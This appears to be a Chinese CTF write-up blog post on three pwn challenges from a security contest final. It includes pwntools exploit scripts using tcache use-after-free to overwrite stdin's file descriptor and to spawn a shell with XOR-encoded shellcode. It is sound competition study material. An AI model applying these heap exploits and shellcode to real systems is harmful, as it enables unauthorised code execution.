前几天去成都参加了信安大赛的总决赛,被师傅们吊起来打hhh,最后混了个二等奖,虽然说成绩不是特别好,但是自己菜不能怪别人嘛,继续努力吧,需要学的还有很多呢

5

看着挺有意思的题目hhh

题目

开始时初始化读取了flag文件然后将其重定向到了666,然后进入到了Sandbox禁止了某些操作(留坑,后面看下)

然后是主要的选项题,add remove show 还有最后的签字退出hhh

add在内部是分为int 与 short int来分别处理的,但是有个共享的bool作为判断位,在删除的时候会进行判断(如果不是为了留漏洞,真的程序这么写可太蠢了…)。因为没有使用数组和链表,所以同时只能控制一个int的chunk和short_int的chunk

show限制三次,remove时还是存在着UAF漏洞

最后退出前会调用scanf让留一堆话然后输出出来

思路

结合前面的666与最后的scanf,应该是要让stdin的fd改为666使得在操作scanf时将flag输出

在gdb中进行测试,先看下stdin结构体

1
2
3
4
5
6
7
8
9
10
pwndbg> p  *(struct _IO_FILE_plus *) stdin
$1 = {
file = {
...
_fileno = 0,
_flags2 = 0,
...
},
vtable = 0x7fa0d8e252a0 <_IO_file_jumps>
}

直接对其进行修改,再次打印

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> p  $1->file->_fileno = 666
$2 = 666
pwndbg> p *(struct _IO_FILE_plus *) stdin
$3 = {
file = {
...
_fileno = 666,
_flags2 = 0,
...
},
vtable = 0x7fa0d8e252a0 <_IO_file_jumps>
}

看到修改成功,直接继续运行程序,然后退出

Switching to interactive mode
1
2
3
4
5
$ 4
what do you want to say at last?
[*] Process './inode_heap' stopped with exit code 0 (pid 15666)
your message :this_is_flag we have received...
have fun !

发现scanf不再从键盘接收输入,直接打印出了预先写好的本地flag

这样问题就是利用前面tcache的UAF将其结构体进行修改

因为输出的时候使用的是%d,所以没办法完全泄露,因此会需要部分地址覆盖来利用偏移将free掉的unsorted bin中的fd指针为stdin->_fileno所在的地址。

整个过程比较麻烦,但是将思路捋清就不会有什么问题。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./inode_heap')
elf = ELF('./inode_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('','')
elf = ELF('./inode_heap')
#libc=ELF('')

def add_int(num):
sh.sendlineafter('> ', '1')
sh.sendlineafter('>', '1')
sh.sendlineafter('your inode number:', str(num))

def add_short(num):
sh.sendlineafter('> ', '1')
sh.sendlineafter('>', '2')
sh.sendlineafter('your inode number:', str(num))

def remove_int():
sh.sendlineafter('> ', '2')
sh.sendlineafter('>', '1')

def remove_short():
sh.sendlineafter('> ', '2')
sh.sendlineafter('>', '2')

def show_int():
sh.sendlineafter('> ', '3')
sh.sendlineafter('>', '1')

def show_short():
sh.sendlineafter('> ', '3')
sh.sendlineafter('>', '2')


add_int(0)
remove_int()
add_short(0)
remove_int()

show_int()
sh.recvuntil('number :')
heap = int(sh.recvline())
if heap < 0x100000000:
heap += 0x100000000
print hex(heap) # just half of sizeof(int)


add_int(heap+0x20)
add_int(0)
add_int(0x91)

add_int(0)
add_int(0)
add_int(0x21)

for i in range(7):
remove_short()
add_int(0)

remove_short()
show_short()

sh.recvuntil('number :')
half_libc = int(sh.recvline())
if half_libc <0 :
half_libc += 0x10000
print hex(half_libc)


#---------------------------------------------#

#gdb.attach(sh)
add_short(half_libc-0x2a0+104) #cover part of address so that main_arena+96 to struct stdin->_fileno


add_short(0)
add_short(0)
add_short(0)
add_short(0)

#gdb.attach(sh)
remove_short()
add_int(0)
remove_short()
add_short(heap+0x30)
add_short(0)
add_short(0)
sh.sendlineafter('> ','1')
sh.sendlineafter('>','2')
sh.sendlineafter('number:','666')

gdb.attach(sh)

sh.interactive()

6

掌握的不熟练,需要多练习几道…

题目

c混合着c++写的程序,看着复杂了点。仍然是UAF漏洞,只有add delete功能,但是给了堆地址

分析

所以就是利用tcache的UAF来修改stdout来泄露libc之后再劫持malloc_hook 或 free_hook即可
原理等可以看之前写的这里https://siriuswhiter.github.io/2019/07/09/io-file-%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95/

exp

1
2


17

决赛最简单的一道题目了吧,反正是pwn里面最简单的//

题目

最开始先要login,会拿到随机的12个字节与输入比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
stream = fopen("/dev/urandom", "rb");
fread(&ptr, 0xCuLL, 1uLL, stream);
fclose(stream);
read(0, &buf, 0x10uLL);
if ( !strncmp(&buf, &ptr, 0xCuLL) )
{
puts("Welcome, MIB Agent.");
result = 0LL;
}
else
{
printf("> ", &ptr);
__isoc99_scanf("%d", &v1);
if ( (signed int)v1 > 0xFF || !v1 )
{
puts("Access denied.");
exit(0);
}
result = v1;
}
return result;
}

如果登录成功会进入一个选项,可以malloc 和free,malloc大小限制为0-0x7F,free限制两次;

如果没有选择这两个选项,就会进行一个比较,s1处之前是The cake is not a lie!,

1
2
if ( !strcmp(s1, "The cake is a lie!") )
get_shellcode();

假如验证通过,就会读取0x50个字节,对其进行简单的处理,之后执行输入的内容。

1
2
3
4
5
6
7
8
v3 = strlen(a1);
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i > v3 )
break;
a1[i] ^= a1[i + 1];
}

分析

整个题目的思路是一步步引导过去的,一步步处理就行。

  1. 因为使用的/dev/urandom,这个肯定是无法绕过的,所以要看在else处的处理,很明显是要整数溢出,好在带了个ACMer,-256256256这个数字脱口而出惊呆了hhh

  2. 想要让执行到后面的输入shellcode,就需要改变那个地方的值,中间只给了malloc和free,同时还有UAF的洞,很明显是个tcache的UAF,直接写就完事了

  3. 进入到输入shellcode,对其进行变换并执行,我们将其反过来变换就行了,这里多输入两位防止后面的被xor掉

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('172.16.9.24','9017')
elf = ELF('./pwn')
#libc=ELF('')


sh.sendlineafter('> ','123456789012')
sh.sendlineafter('> ','-2147483648')

def new(size,con):
sh.sendlineafter('> ','1')
sh.sendlineafter('> ',str(size))
sh.sendafter('> ',con)

def dele():
sh.sendlineafter('> ','2')

new(0x30,'a\n')
dele()
dele()


#gdb.attach(sh)
new(0x30,'\x90')
new(0x30,'a')
new(0x30,'The cake is a lie!\0')

#gdb.attach(sh)
sh.sendlineafter('> ','3')
#gdb.attach(sh)
shellcode = bytearray(asm(shellcraft.amd64.sh(),arch='amd64'))
print str(shellcode)
print len(shellcode)
for i in range(len(shellcode)-2,-1,-1):
shellcode[i]=chr(shellcode[i]^shellcode[i+1])

print shellcode
print len(shellcode)
#print sh2

sh.sendlineafter('> ',str(shellcode)+'\0\0\0')
sh.interactive()